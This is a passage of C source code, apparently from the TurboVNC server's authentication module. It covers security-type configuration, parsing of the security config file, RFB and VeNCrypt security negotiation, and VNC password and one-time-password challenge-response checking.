rfbClientAuthFailed(cl, (char *)emsg); } #endif typedef struct { const char *name; int protocolMinorVer; Bool advertise; CARD8 securityType; } RFBSecTypeData; static RFBSecTypeData secTypeNone = { "none", 3, TRUE, rfbSecTypeNone }; static RFBSecTypeData secTypeVncAuth = { "vncauth", 3, TRUE, rfbSecTypeVncAuth }; static RFBSecTypeData secTypeTight = { "tight", 7, TRUE, rfbSecTypeTight }; static RFBSecTypeData secTypeVeNCrypt = { "vencrypt", 7, TRUE, rfbSecTypeVeNCrypt }; static RFBSecTypeData *rfbSecTypes[] = { &secTypeNone, &secTypeVncAuth, &secTypeVeNCrypt, &secTypeTight, NULL }; typedef void (*AuthFunc) (rfbClientPtr cl); typedef struct { int authType; CARD8 vendorSignature[4]; CARD8 nameSignature[8]; AuthFunc startFunc; AuthFunc rspFunc; } AuthCapData; static AuthCapData authCapNone = { rfbAuthNone, rfbStandardVendor, sig_rfbAuthNone, AuthNoneStartFunc, AuthNoneRspFunc }; static AuthCapData authCapVncAuth = { rfbAuthVNC, rfbStandardVendor, sig_rfbAuthVNC, rfbVncAuthSendChallenge, rfbVncAuthProcessResponse }; static AuthCapData authCapVeNCrypt = { rfbAuthVeNCrypt, rfbVeNCryptVendor, sig_rfbAuthVeNCrypt, rfbVeNCryptAuthenticate, AuthNoneRspFunc }; #ifdef XVNC_AuthPAM static AuthCapData authCapUnixLogin = { rfbAuthUnixLogin, rfbTightVncVendor, sig_rfbAuthUnixLogin, AuthPAMUserPwdStartFunc, AuthPAMUserPwdRspFunc }; #endif static AuthCapData *authCaps[] = { &authCapNone, &authCapVncAuth, &authCapVeNCrypt, #ifdef XVNC_AuthPAM &authCapUnixLogin, #endif NULL }; typedef struct { const char *name; Bool enabled; Bool permitted; int preference; Bool requiredData; RFBSecTypeData *rfbSecType; AuthCapData *authCap; int subType; } SecTypeData; /* * Set the "permitted" member to TRUE if you want the security type to be * available by default. The value of the "permitted-security-types" config * file option will take precedence over the defaults below. * * We permit the rfbAuthNone security type by default for backward * compatibility and only enable it when either explicitly told to do so or if * it is permitted and no other security types were specified on the command * line. */ static SecTypeData secTypes[] = { #if USETLS /* name enabled permitted preference requiredData */ { "tlsnone", FALSE, TRUE, -1, FALSE, /* secType authCap subType */ &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptTLSNone }, { "tlsvnc", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptTLSVnc }, { "tlsotp", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptTLSVnc }, #ifdef XVNC_AuthPAM { "tlsplain", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptTLSPlain }, #endif { "x509none", FALSE, TRUE, -1, FALSE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptX509None }, { "x509vnc", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptX509Vnc }, { "x509otp", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptX509Vnc }, #ifdef XVNC_AuthPAM { "x509plain", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptX509Plain }, #endif #endif { "none", FALSE, TRUE, -1, FALSE, &secTypeNone, &authCapNone, rfbSecTypeNone }, { "vnc", TRUE, TRUE, -1, TRUE, &secTypeVncAuth, &authCapVncAuth, rfbSecTypeVncAuth }, { "otp", TRUE, TRUE, -1, TRUE, &secTypeVncAuth, &authCapVncAuth, rfbSecTypeVncAuth }, #ifdef XVNC_AuthPAM { "unixlogin", TRUE, TRUE, -1, TRUE, &secTypeTight, &authCapUnixLogin, -1 }, { "plain", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptPlain }, #endif { NULL } }; Bool rfbOptOtpAuth(void) { SecTypeData *s; for (s = secTypes; s->name != NULL; s++) { if (!strcmp(&s->name[strlen(s->name) - 3], "otp") && s->enabled) return TRUE; } return FALSE; } Bool rfbOptPamAuth(void) { SecTypeData *s; for (s = secTypes; s->name != NULL; s++) { if ((!strcmp(s->name, "unixlogin") || !strcmp(&s->name[strlen(s->name) - 5], "plain")) && s->enabled) return TRUE; } return FALSE; } Bool rfbOptRfbAuth(void) { SecTypeData *s; for (s = secTypes; s->name != NULL; s++) { if (!strcmp(&s->name[strlen(s->name) - 3], "vnc") && s->enabled) return TRUE; } return FALSE; } void rfbAuthParseCommandLine(char *securityTypes) { char *p1 = securityTypes, *p2 = securityTypes; SecTypeData *s; for (s = secTypes; s->name != NULL; s++) s->enabled = FALSE; do { *p2 = *p1; if (!isspace(*p2)) p2++; } while (*p1++ != 0); while (TRUE) { p1 = strtok_r(securityTypes, ",", &p2); securityTypes = NULL; if (p1 == NULL) break; for (s = secTypes; s->name != NULL; s++) { if (!strcasecmp(s->name, p1)) { s->enabled = TRUE; break; } } if (s->name == NULL) FatalError("ERROR: Unknown security type '%s'", p1); } } static void setSecTypes(char *buf, Bool backwardCompatible) { char *saveptr = NULL; char *p; SecTypeData *s; preferenceLimit = 0; for (s = secTypes; s->name != NULL; s++) { s->permitted = FALSE; s->preference = -1; s->rfbSecType->advertise = FALSE; } while (TRUE) { p = strtok_r(buf, ",", &saveptr); buf = NULL; if (p == NULL) break; for (s = secTypes; s->name != NULL; s++) { if (backwardCompatible && s->rfbSecType == &secTypeVeNCrypt) continue; if (!strcasecmp(s->name, p) || (backwardCompatible && !strcasecmp(s->name, "unixlogin") && !strcasecmp(p, "pam-userpwd"))) break; } if (s->name == NULL) FatalError("ERROR: Unknown security type name '%s'", p); s->permitted = TRUE; s->preference = preferenceLimit++; } } void rfbAuthListAvailableSecurityTypes(void) { SecTypeData *s; int chars = 23; ErrorF(" Available security types (case-insensitive):\n"); ErrorF(" "); for (s = secTypes; s->name != NULL; s++) { ErrorF("%s", s->name); chars += strlen(s->name); if ((s + 1)->name != NULL) { ErrorF(", "); chars += 2; if (chars + strlen((s + 1)->name) > 77) { ErrorF("\n "); chars = 23; } } } ErrorF("\n"); } static void ReadConfigFile(void) { FILE *fp; char buf[256], buf2[256]; int line; int len; int n, i, j; struct stat sb; if ((fp = fopen(rfbAuthConfigFile, "r")) == NULL) return; if (fstat(fileno(fp), &sb) == -1) FatalError("rfbAuthInit: ERROR: fstat %s: %s", rfbAuthConfigFile, strerror(errno)); if ((sb.st_uid != 0) && (sb.st_uid != getuid())) FatalError("ERROR: %s must be owned by you or by root", rfbAuthConfigFile); if (sb.st_mode & (S_IWGRP | S_IWOTH)) FatalError("ERROR: %s cannot have group or global write permissions", rfbAuthConfigFile); rfbLog("Using security configuration file %s\n", rfbAuthConfigFile); for (line = 0; fgets(buf, sizeof(buf), fp) != NULL; line++) { len = strlen(buf) - 1; if (buf[len] != '\n' && strlen(buf) == 256) FatalError("ERROR in %s: line %d is too long!", rfbAuthConfigFile, line + 1); buf[len] = '\0'; for (i = 0, j = 0; i < len; i++) { if (buf[i] != ' ' && buf[i] != '\t') buf2[j++] = buf[i]; } len = j; buf2[len] = '\0'; if (len < 1) continue; if (!strcmp(buf2, "no-remote-resize")) { rfbAuthDisableRemoteResize = TRUE; continue; } if (!strcmp(buf2, "no-reverse-connections")) { rfbAuthDisableRevCon = TRUE; continue; } if (!strcmp(buf2, "no-remote-connections")) { interface.s_addr = htonl(INADDR_LOOPBACK); interface6 = in6addr_loopback; continue; } if (!strcmp(buf2, "no-clipboard-send")) { rfbAuthDisableCBSend = TRUE; continue; } if (!strcmp(buf2, "no-clipboard-recv")) { rfbAuthDisableCBRecv = TRUE; continue; } if (!strcmp(buf2, "no-httpd")) { rfbAuthDisableHTTP = TRUE; continue; } if (!strcmp(buf2, "no-x11-tcp-connections")) { rfbAuthDisableX11TCP = TRUE; continue; } #ifdef XVNC_AuthPAM if (!strcmp(buf2, "no-pam-sessions")) { rfbAuthDisablePAMSession = TRUE; continue; } if (!strcmp(buf2, "enable-user-acl")) { rfbAuthUserACL = TRUE; continue; } n = 17; if (!strncmp(buf2, "pam-service-name=", n)) { if (buf2[n] == '\0') FatalError("ERROR in %s: pam-service-name is empty!", rfbAuthConfigFile); if ((pamServiceName = strdup(&buf2[n])) == NULL) FatalError("rfbAuthInit strdup: %s", strerror(errno)); continue; } #endif /* permitted-auth-methods provides backward compatibility with TurboVNC 2.0.x and earlier. It can only be used to enable non-VeNCrypt security types. */ n = 23; if (!strncmp(buf2, "permitted-auth-methods=", n)) { if (buf2[n] == '\0') FatalError("ERROR in %s: permitted-auth-methods is empty!", rfbAuthConfigFile); setSecTypes(&buf2[n], TRUE); continue; } /* permitted-security-types was introduced in TurboVNC 2.1. */ n = 25; if (!strncmp(buf2, "permitted-security-types=", n)) { if (buf2[n] == '\0') FatalError("ERROR in %s: permitted-security-types is empty!", rfbAuthConfigFile); setSecTypes(&buf2[n], FALSE); continue; } #ifdef USETLS n = 24; if (!strncmp(buf2, "permitted-cipher-suites=", n)) { if (buf2[n] == '\0') FatalError("ERROR in %s: permitted-cipher-suites is empty!", rfbAuthConfigFile); if ((rfbAuthCipherSuites = strdup(&buf2[n])) == NULL) FatalError("rfbAuthInit strdup: %s", strerror(errno)); continue; } #endif n = 17; if (!strncmp(buf2, "max-idle-timeout=", n)) { int t; if (buf2[n] == '\0') FatalError("ERROR in %s: max-idle-timeout is empty!", rfbAuthConfigFile); if (sscanf(&buf2[n], "%d", &t) < 1 || t <= 0) FatalError("ERROR in %s: max-idle-timeout value must be > 0!", rfbAuthConfigFile); rfbMaxIdleTimeout = (CARD32)t; continue; } n = 17; if (!strncmp(buf2, "max-desktop-size=", n)) { int w = -1, h = -1; if (buf2[n] == '\0') FatalError("ERROR in %s: max-desktop-size is empty!", rfbAuthConfigFile); if (sscanf(&buf2[n], "%dx%d", &w, &h) < 2 || w <= 0 || h <= 0) FatalError("ERROR in %s: max-desktop-size value is incorrect.", rfbAuthConfigFile); if (w == 0) w = MAXSHORT; if (h == 0) h = MAXSHORT; rfbMaxWidth = (CARD32)w; rfbMaxHeight = (CARD32)h; continue; } if (buf2[0] != '#') rfbLog("WARNING: unrecognized security config line '%s'\n", buf); } fclose(fp); } void rfbAuthInit(void) { SecTypeData *s; int nSelected = 0; ReadConfigFile(); for (s = secTypes; s->name != NULL; s++) { if (s->enabled) { nSelected++; if (!s->permitted) { rfbLog("WARNING: security type '%s' is not permitted\n", s->name); s->enabled = FALSE; continue; } } if (s->enabled) { nSecTypesEnabled++; rfbLog("Enabled security type '%s'\n", s->name); if (!s->rfbSecType->advertise) { s->rfbSecType->advertise = TRUE; rfbLog("Advertising security type '%s' to viewers\n", s->rfbSecType->name); } } } if (nSelected == 0) { /* No security type was selected. See if we should enable the rfbAuthNone security type. */ for (s = secTypes; s->name != NULL; s++) { if (!s->requiredData) { if (s->permitted) { nSecTypesEnabled++; s->enabled = TRUE; s->rfbSecType->advertise = TRUE; rfbLog("Enabled security type '%s'\n", s->name); rfbLog("Advertising security type '%s' to viewers\n", s->rfbSecType->name); } } else { s->rfbSecType->advertise = FALSE; } } } #ifndef XVNC_AuthPAM if (rfbOptPamAuth()) rfbLog("WARNING: PAM support is not compiled in.\n"); #endif if (nSecTypesEnabled == 0) { for (s = secTypes; s->name != NULL; s++) { if (s->permitted) rfbLog("NOTICE: %s is a permitted security type\n", s->name); } FatalError("ERROR: no security types enabled!"); } else { /* Do not advertise rfbAuthNone if any other security type is enabled */ for (s = secTypes; s->name != NULL; s++) { if (s->enabled && strcmp(s->name, "none")) secTypeNone.advertise = FALSE; } } #ifdef XVNC_AuthPAM if (rfbOptPamAuth() && rfbAuthUserACL) { struct passwd pbuf; struct passwd *pw; char buf[256]; char *n; if (getpwuid_r(getuid(), &pbuf, buf, sizeof(buf), &pw) != 0) FatalError("AuthPAMUserPwdRspFunc: limit-user enabled and getpwuid_r failed: %s", strerror(errno)); n = (char *)rfbAlloc(strlen(pbuf.pw_name)); strcpy(n, pbuf.pw_name); rfbAuthAddUser(n, FALSE); } #endif } void rfbAuthProcessResponse(rfbClientPtr cl) { AuthCapData **p; AuthCapData *c; for (p = authCaps; *p != NULL; p++) { c = *p; if (cl->selectedAuthType == c->authType) { c->rspFunc(cl); return; } } rfbLog("rfbAuthProcessResponse: authType assertion failed\n"); rfbCloseClient(cl); } /* * rfbAuthNewClient is called right after negotiating the protocol version. * Depending on the protocol version, we send either a code for the * authentication scheme to be used (protocol 3.3) or a list of possible * "security types" (protocol 3.7 and above.) */ void rfbAuthNewClient(rfbClientPtr cl) { RFBSecTypeData **p; RFBSecTypeData *r; if (rfbAuthIsBlocked()) { rfbLog("Too many authentication failures - client rejected\n"); rfbClientConnFailed(cl, "Too many authentication failures"); return; } if (cl->protocol_minor_ver >= 7) { rfbSendSecurityTypeList(cl); return; } /* Make sure we use only RFB 3.3-compatible security types */ for (p = rfbSecTypes; *p != NULL; p++) { r = *p; if (r->advertise && (r->protocolMinorVer < 7)) break; } if (*p == NULL) { rfbLog("VNC authentication disabled - RFB 3.3 client rejected\n"); rfbClientConnFailed(cl, "Your viewer cannot handle required security types"); return; } cl->selectedAuthType = r->securityType; rfbSendSecurityType(cl, r->securityType); } /* * Tell the client which security type will be used (protocol 3.3) */ static void rfbSendSecurityType(rfbClientPtr cl, int securityType) { CARD32 value32; value32 = Swap32IfLE(securityType); if (WriteExact(cl, (char *)&value32, 4) < 0) { rfbLogPerror("rfbSendSecurityType: write"); rfbCloseClient(cl); return; } switch (securityType) { case rfbSecTypeNone: /* Dispatch client input to rfbProcessClientInitMessage() */ cl->state = RFB_INITIALISATION; break; case rfbSecTypeVncAuth: /* Begin the Standard VNC authentication procedure */ rfbVncAuthSendChallenge(cl); break; default: rfbLogPerror("rfbSendSecurityType: assertion failed"); rfbCloseClient(cl); } } /* * Advertise our supported security types (protocol 3.7 and above) */ static void rfbSendSecurityTypeList(rfbClientPtr cl) { int i, j, n; SecTypeData *s; RFBSecTypeData *r; Bool tightAdvertised = FALSE; /* * When no preference order was set using "permitted-security-types", the * default value of preferenceLimit (1) will cause us to execute the * outer loop once. In this case, the s->preference members will all * be the default value (-1), and we skip the order testing. */ n = 0; for (i = 0; i < preferenceLimit; i++) { for (s = secTypes; s->name != NULL; s++) { if (((s->preference != -1) && (i != s->preference)) || !s->enabled) continue; r = s->rfbSecType; if (n > MAX_SECURITY_TYPES) FatalError("rfbSendSecurityTypeList: # enabled security types > MAX_SECURITY_TYPES"); /* * Check whether we have already advertised this security type */ for (j = 0; j < n; j++) { if (cl->securityTypes[j + 1] == r->securityType) break; } if (j < n) continue; if (r->advertise && (cl->protocol_minor_ver >= r->protocolMinorVer)) { cl->securityTypes[++n] = r->securityType; if (r->securityType == rfbSecTypeTight) tightAdvertised = TRUE; } } } if (n == 0) FatalError("rfbSendSecurityTypeList: no security types enabled! This should not have happened!"); if (!tightAdvertised) { /* * Make sure to advertise the Tight security type, in order to allow * TightVNC-compatible clients to enable other (non-auth) Tight * extensions. */ if (n > MAX_SECURITY_TYPES) FatalError("rfbSendSecurityTypeList: # enabled security types > MAX_SECURITY_TYPES"); rfbLog("rfbSendSecurityTypeList: advertise sectype tight\n"); cl->securityTypes[++n] = rfbSecTypeTight; } cl->securityTypes[0] = (CARD8)n; /* Send the list */ if (WriteExact(cl, (char *)cl->securityTypes, n + 1) < 0) { rfbLogPerror("rfbSendSecurityTypeList: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbProcessClientSecurityType() */ cl->state = RFB_SECURITY_TYPE; } #define WRITE(data, size) \ if (WriteExact(cl, (char *)data, size) <= 0) { \ rfbLogPerror("rfbVeNCryptAuthenticate: write"); \ rfbCloseClient(cl); \ return; \ } #define READ(data, size) \ if (ReadExact(cl, (char *)data, size) <= 0) { \ rfbLogPerror("rfbVeNCryptAuthenticate: read"); \ rfbCloseClient(cl); \ return; \ } #if USETLS #define TLS_INIT(anon) \ if ((ctx = rfbssl_init(cl, anon)) == NULL) { \ reply = 0; \ WRITE(&reply, 1); \ rfbClientAuthFailed(cl, rfbssl_geterr()); \ return; \ } \ reply = 1; \ WRITE(&reply, 1); \ cl->sslctx = ctx; \ if ((ret = rfbssl_accept(cl)) < 0) { \ rfbCloseClient(cl); \ return; \ } else if (ret == 1) { \ rfbLog("Deferring TLS handshake\n"); \ cl->state = RFB_TLS_HANDSHAKE; \ return; \ } void rfbAuthTLSHandshake(rfbClientPtr cl) { int ret; if ((ret = rfbssl_accept(cl)) < 0) { rfbCloseClient(cl); return; } else if (ret == 1) return; switch (cl->selectedAuthType) { case rfbAuthNone: rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbAuthVNC: rfbVncAuthSendChallenge(cl); break; #ifdef XVNC_AuthPAM case rfbAuthUnixLogin: AuthPAMUserPwdRspFunc(cl); break; #endif } } #endif void rfbVeNCryptAuthenticate(rfbClientPtr cl) { struct { CARD8 major, minor; } serverVersion = { 0, 2 }, clientVersion = { 0, 0 }; CARD8 reply, count = 0; int i, j; SecTypeData *s; CARD32 subTypes[MAX_VENCRYPT_SUBTYPES], chosenType = 0; #if USETLS rfbSslCtx *ctx; int ret; #endif WRITE(&serverVersion.major, 1); WRITE(&serverVersion.minor, 1); rfbUncorkSock(cl->sock); rfbCorkSock(cl->sock); READ(&clientVersion, 2); if (clientVersion.major == 0 && clientVersion.minor < 2) { reply = 0xFF; WRITE(&reply, 1); rfbCloseClient(cl); return; } else { reply = 0; WRITE(&reply, 1); } memset(subTypes, 0, sizeof(CARD32) * MAX_VENCRYPT_SUBTYPES); for (i = 0; i < preferenceLimit; i++) { for (s = secTypes; s->name != NULL; s++) { if (((s->preference != -1) && (i != s->preference)) || !s->enabled || s->subType == -1) continue; if (count > MAX_VENCRYPT_SUBTYPES) FatalError("rfbVeNCryptAuthenticate: # enabled subtypes > MAX_VENCRYPT_SUBTYPES"); /* Check whether we have already advertised this subtype */ for (j = 0; j < count; j++) { if (subTypes[j] == s->subType) break; } if (j < count) continue; subTypes[count++] = s->subType; } } WRITE(&count, 1); if (count > 0) { for (i = 0; i < count; i++) { CARD32 subType = Swap32IfLE(subTypes[i]); WRITE(&subType, sizeof(CARD32)); } } rfbUncorkSock(cl->sock); rfbCorkSock(cl->sock); READ(&chosenType, sizeof(CARD32)); chosenType = Swap32IfLE(chosenType); for (i = 0; i < count; i++) { if (chosenType == subTypes[i]) break; } rfbLog("Client requested VeNCrypt sub-type %d\n", chosenType); if (chosenType == 0 || chosenType == rfbSecTypeVeNCrypt || i >= count) { rfbLog("Requested VeNCrypt sub-type not supported\n"); rfbCloseClient(cl); return; } cl->selectedAuthType = chosenType; switch (chosenType) { case rfbAuthNone: rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbAuthVNC: rfbVncAuthSendChallenge(cl); break; #ifdef XVNC_AuthPAM case rfbVeNCryptPlain: AuthPAMUserPwdRspFunc(cl); break; #endif #if USETLS case rfbVeNCryptTLSNone: cl->selectedAuthType = rfbAuthNone; TLS_INIT(TRUE); rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbVeNCryptTLSVnc: cl->selectedAuthType = rfbAuthVNC; TLS_INIT(TRUE); rfbVncAuthSendChallenge(cl); break; #ifdef XVNC_AuthPAM case rfbVeNCryptTLSPlain: cl->selectedAuthType = rfbAuthUnixLogin; TLS_INIT(TRUE); AuthPAMUserPwdRspFunc(cl); break; #endif case rfbVeNCryptX509None: cl->selectedAuthType = rfbAuthNone; TLS_INIT(FALSE); rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbVeNCryptX509Vnc: cl->selectedAuthType = rfbAuthVNC; TLS_INIT(FALSE); rfbVncAuthSendChallenge(cl); break; #ifdef XVNC_AuthPAM case rfbVeNCryptX509Plain: cl->selectedAuthType = rfbAuthUnixLogin; TLS_INIT(FALSE); AuthPAMUserPwdRspFunc(cl); break; #endif #endif default: FatalError("rfbVeNCryptAuthenticate: chosen type is invalid (this should never occur)"); } } /* * Read the security type chosen by the client (protocol 3.7 and above) */ void rfbProcessClientSecurityType(rfbClientPtr cl) { int n, count, i; CARD8 chosenType; /* Read the security type */ n = ReadExact(cl, (char *)&chosenType, 1); if (n <= 0) { if (n == 0) rfbLog("rfbProcessClientSecurityType: client gone\n"); else rfbLogPerror("rfbProcessClientSecurityType: read"); rfbCloseClient(cl); return; } /* Make sure it was present in the list sent by the server */ count = (int)cl->securityTypes[0]; for (i = 1; i <= count; i++) { if (chosenType == cl->securityTypes[i]) break; } if (i > count) { rfbLog("rfbProcessClientSecurityType: wrong security type requested\n"); rfbCloseClient(cl); return; } cl->selectedAuthType = chosenType; switch (chosenType) { case rfbSecTypeNone: /* No authentication needed */ rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbSecTypeVncAuth: /* Begin the Standard VNC authentication procedure */ rfbVncAuthSendChallenge(cl); break; case rfbSecTypeTight: /* The viewer supports TightVNC extensions */ rfbLog("Enabling TightVNC protocol extensions\n"); /* Switch to protocol 3.7t/3.8t */ cl->protocol_tightvnc = TRUE; /* Advertise our tunneling capabilities */ rfbSendTunnelingCaps(cl); break; case rfbSecTypeVeNCrypt: /* The viewer supports VeNCrypt extensions */ rfbLog("Enabling VeNCrypt protocol extensions\n"); rfbVeNCryptAuthenticate(cl); break; default: rfbLog("rfbProcessClientSecurityType: unknown authentication scheme\n"); rfbCloseClient(cl); break; } } /* * Send the list of our tunneling capabilities (protocol 3.7t/3.8t) */ static void rfbSendTunnelingCaps(rfbClientPtr cl) { rfbTunnelingCapsMsg caps; CARD32 nTypes = 0; /* We don't support tunneling yet */ caps.nTunnelTypes = Swap32IfLE(nTypes); if (WriteExact(cl, (char *)&caps, sz_rfbTunnelingCapsMsg) < 0) { rfbLogPerror("rfbSendTunnelingCaps: write"); rfbCloseClient(cl); return; } if (nTypes) /* Dispatch client input to rfbProcessClientTunnelingType() */ cl->state = RFB_TUNNELING_TYPE; else rfbSendAuthCaps(cl); } /* * Read tunneling type requested by the client (protocol 3.7t/3.8t) * * NOTE: Currently we don't support tunneling, and this function can never be * called. */ void rfbProcessClientTunnelingType(rfbClientPtr cl) { /* If we were called, then something's really wrong. */ rfbLog("rfbProcessClientTunnelingType: not implemented\n"); rfbCloseClient(cl); } /* * Send the list of our authentication capabilities to the client * (protocol 3.7t/3.8t) */ static void rfbSendAuthCaps(rfbClientPtr cl) { rfbAuthenticationCapsMsg caps; rfbCapabilityInfo caplist[MAX_AUTH_CAPS]; int count = 0; int j; SecTypeData *s; AuthCapData *c; rfbCapabilityInfo *pcap; char tempstr[9]; if (!cl->reverseConnection) { int i; /* * When no preference order was set using "permitted-security-types", * the default value of preferenceLimit (1) will cause us to execute * the outer loop once. In this case, the s->preference members will * all be the default value (-1), and we skip the order testing. */ for (i = 0; i < preferenceLimit; i++) { for (s = secTypes; s->name != NULL; s++) { if (((s->preference != -1) && (i != s->preference)) || !s->enabled) continue; c = s->authCap; if (count > MAX_AUTH_CAPS) FatalError("rfbSendAuthCaps: # enabled security types > MAX_AUTH_CAPS"); /* * Check to see if we have already advertised this auth cap. * VNC password and OTP both use the VNC authentication cap. */ for (j = 0; j < count; j++) { if (cl->authCaps[j] == c->authType) break; } if (j < count) continue; pcap = &caplist[count]; pcap->code = Swap32IfLE(c->authType); memcpy(pcap->vendorSignature, c->vendorSignature, sz_rfbCapabilityInfoVendor); memcpy(pcap->nameSignature, c->nameSignature, sz_rfbCapabilityInfoName); cl->authCaps[count] = c->authType; strncpy(tempstr, (char *)pcap->nameSignature, 8); tempstr[8] = 0; rfbLog("Advertising Tight auth cap '%s'\n", tempstr); count++; } } if (count == 0) FatalError("rfbSendAuthCaps: authentication required but no security types enabled! This should not have happened!"); } cl->nAuthCaps = count; caps.nAuthTypes = Swap32IfLE((CARD32)count); if (WriteExact(cl, (char *)&caps, sz_rfbAuthenticationCapsMsg) < 0) { rfbLogPerror("rfbSendAuthCaps: write"); rfbCloseClient(cl); return; } if (count) { if (WriteExact(cl, (char *)&caplist[0], count *sz_rfbCapabilityInfo) < 0) { rfbLogPerror("rfbSendAuthCaps: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbProcessClientAuthType() */ cl->state = RFB_AUTH_TYPE; } else { /* No authentication needed */ rfbClientAuthSucceeded(cl, rfbAuthNone); cl->state = RFB_INITIALISATION; } } /* * Read client's preferred authentication type (protocol 3.7t/3.8t) */ void rfbProcessClientAuthType(rfbClientPtr cl) { CARD32 auth_type; int n, i; AuthCapData **p; AuthCapData *c; /* Read authentication type selected by the client */ n = ReadExact(cl, (char *)&auth_type, sizeof(auth_type)); if (n <= 0) { if (n == 0) rfbLog("rfbProcessClientAuthType: client gone\n"); else rfbLogPerror("rfbProcessClientAuthType: read"); rfbCloseClient(cl); return; } auth_type = Swap32IfLE(auth_type); /* Make sure it was present in the list sent by the server */ for (i = 0; i < cl->nAuthCaps; i++) { if (auth_type == cl->authCaps[i]) break; } if (i >= cl->nAuthCaps) { rfbLog("rfbProcessClientAuthType: wrong authentication type requested\n"); rfbCloseClient(cl); return; } for (p = authCaps; *p != NULL; p++) { c = *p; if (auth_type == c->authType) { cl->selectedAuthType = auth_type; c->startFunc(cl); return; } } rfbLog("rfbProcessClientAuthType: unknown authentication scheme\n"); rfbCloseClient(cl); } /* * Send the authentication challenge */ static void rfbVncAuthSendChallenge(rfbClientPtr cl) { vncRandomBytes(cl->authChallenge); if (WriteExact(cl, (char *)cl->authChallenge, CHALLENGESIZE) < 0) { rfbLogPerror("rfbVncAuthSendChallenge: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbVncAuthProcessResponse() */ cl->state = RFB_AUTHENTICATION; } static Bool CheckResponse(rfbClientPtr cl, int numPasswords, char *passwdFullControl, char *passwdViewOnly, CARD8 *response) { Bool ok = FALSE; CARD8 encryptedChallenge1[CHALLENGESIZE]; CARD8 encryptedChallenge2[CHALLENGESIZE]; memcpy(encryptedChallenge1, cl->authChallenge, CHALLENGESIZE); vncEncryptBytes(encryptedChallenge1, passwdFullControl); memcpy(encryptedChallenge2, cl->authChallenge, CHALLENGESIZE); vncEncryptBytes(encryptedChallenge2, (numPasswords == 2) ? passwdViewOnly : passwdFullControl); /* Delete the passwords from memory */ memset(passwdFullControl, 0, MAXPWLEN + 1); memset(passwdViewOnly, 0, MAXPWLEN + 1); if (memcmp(encryptedChallenge1, response, CHALLENGESIZE) == 0) { rfbLog("Full-control authentication enabled for %s\n", cl->host); ok = TRUE; cl->viewOnly = FALSE; } else if (memcmp(encryptedChallenge2, response, CHALLENGESIZE) == 0) { rfbLog("View-only authentication enabled for %s\n", cl->host); ok = TRUE; cl->viewOnly = TRUE; } return ok; } /* * rfbVncAuthProcessResponse is called when the client sends its * authentication response. */ void rfbVncAuthProcessResponse(rfbClientPtr cl) { char passwdFullControl[MAXPWLEN + 1] = "\0"; char passwdViewOnly[MAXPWLEN + 1] = "\0"; int numPasswords; Bool ok; int n; CARD8 response[CHALLENGESIZE]; n = ReadExact(cl, (char *)response, CHALLENGESIZE); if (n <= 0) { if (n != 0) rfbLogPerror("rfbVncAuthProcessResponse: read"); rfbCloseClient(cl); return; } ok = FALSE; if (rfbOptOtpAuth()) { if (rfbAuthOTPValue == NULL) { if (nSecTypesEnabled == 1) { rfbClientAuthFailed(cl, "The one-time password has not been set on the server"); return; } } else { memcpy(passwdFullControl, rfbAuthOTPValue, MAXPWLEN); passwdFullControl[MAXPWLEN] = '\0'; numPasswords = rfbAuthOTPValueLen / MAXPWLEN; if (numPasswords > 1) { memcpy(passwdViewOnly, rfbAuthOTPValue + MAXPWLEN, MAXPWLEN); passwdViewOnly[MAXPWLEN] = '\0'; } ok = CheckResponse(cl, numPasswords, passwdFullControl, passwdViewOnly, response); if (ok) { memset(rfbAuthOTPValue, 0, rfbAuthOTPValueLen); free(rfbAuthOTPValue); rfbAuthOTPValue = NULL; } } } if ((ok == FALSE) && rfbOptRfbAuth()) { if (!rfbAuthPasswdFile) { rfbClientAuthFailed(cl, "No VNC password file specified on the server (did you forget -rfbauth?)"); return; } numPasswords = vncDecryptPasswdFromFile2(rfbAuthPasswdFile, passwdFullControl, passwdViewOnly); if (numPasswords == 0) { rfbLog("rfbVncAuthProcessResponse: could not get password from %s\n", rfbAuthPasswdFile); if (nSecTypesEnabled == 1) { rfbClientAuthFailed(cl, "The server could not read the VNC password file"); return; } } ok = CheckResponse(cl, numPasswords, passwdFullControl, passwdViewOnly, response); } if (ok) { rfbAuthUnblock(); rfbClientAuthSucceeded(cl, rfbAuthVNC); } else { rfbLog("rfbVncAuthProcessResponse: authentication failed from %s\n", cl->host); if (rfbAuthConsiderBlocking()) rfbClientAuthFailed(cl, "Authentication failed. Too many tries"); else rfbClientAuthFailed(cl, "Authentication failed"); } } /* * rfbClientConnFailed is called when a client connection has failed before * the authentication stage. */ void rfbClientConnFailed(rfbClientPtr cl, char *reason) { int headerLen, reasonLen; char buf[8]; CARD32 *buf32 = (CARD32 *)buf; headerLen = (cl->protocol_minor_ver >= 7) ? 1 : 4; reasonLen = strlen(reason); buf32[0] = 0; buf32[1] = Swap32IfLE(reasonLen); if (WriteExact(cl, buf, headerLen) < 0 || WriteExact(cl, buf + 4, 4) < 0 || WriteExact(cl, reason, reasonLen) < 0) rfbLogPerror("rfbClientConnFailed: write"); rfbCloseClient(cl); } /* * rfbClientAuthFailed is called on authentication failure. Sending a reason * string is defined in RFB 3.8 and above. */ void rfbClientAuthFailed(rfbClientPtr cl, char *reason) { int reasonLen; char buf[8]; CARD32 *buf32 = (CARD32 *)buf; if (cl->protocol_minor_ver < 8) reason = NULL; /* invalidate the pointer */ reasonLen = (reason == NULL) ? 